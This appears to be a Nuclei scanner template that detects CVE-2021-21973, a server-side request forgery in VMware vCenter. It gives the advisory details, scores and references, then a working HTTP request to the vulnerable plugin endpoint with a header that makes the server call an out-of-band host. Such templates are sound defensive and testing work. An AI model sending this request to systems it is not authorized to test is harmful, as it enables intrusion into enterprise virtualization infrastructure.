id: CVE-2021-21973 info: name: VMware vSphere - Server-Side Request Forgery author: pdteam severity: medium description: VMware vSphere (HTML5) is susceptible to server-side request forgery due to improper validation of URLs in a vCenter Server plugin. An attacker with network access to port 443 can exploit this issue by sending a POST request to the plugin. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l, and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2). impact: | Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the vulnerable server, potentially leading to unauthorized access, data leakage, or further attacks. remediation: | Apply the necessary security patches or updates provided by VMware to mitigate this vulnerability. reference: - https://twitter.com/osama_hroot/status/1365586206982082560 - https://twitter.com/bytehx343/status/1486582542807420928 - https://www.vmware.com/security/advisories/VMSA-2021-0002.html - https://nvd.nist.gov/vuln/detail/CVE-2021-21973 - https://github.com/soosmile/POC classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2021-21973 cwe-id: CWE-918 epss-score: 0.15857 epss-percentile: 0.95819 cpe: cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: vmware product: cloud_foundation tags: cve2021,cve,vmware,ssrf,vcenter,oast,kev http: - raw: - | GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1 Host: {{Hostname}} Vcip: {{interactsh-url}} Vcpassword: {{rand_base(6)}} Vcusername: {{rand_base(6)}} Reqresource: {{rand_base(6)}} matchers-condition: and matchers: - type: word part: body words: - "The server sent HTTP status code 200" - type: status status: - 500 # digest: 4b0a00483046022100ae2879749b829379356f96d31e87b9cf69c38a5cfaa4b2d70b07eb82ec9956a00221009d3d4e7ffba84fe659bf8dd0e6d42388727c2eef535df5f9b7f7f563595a54a9:922c64590222798bb761d5b6d8e72950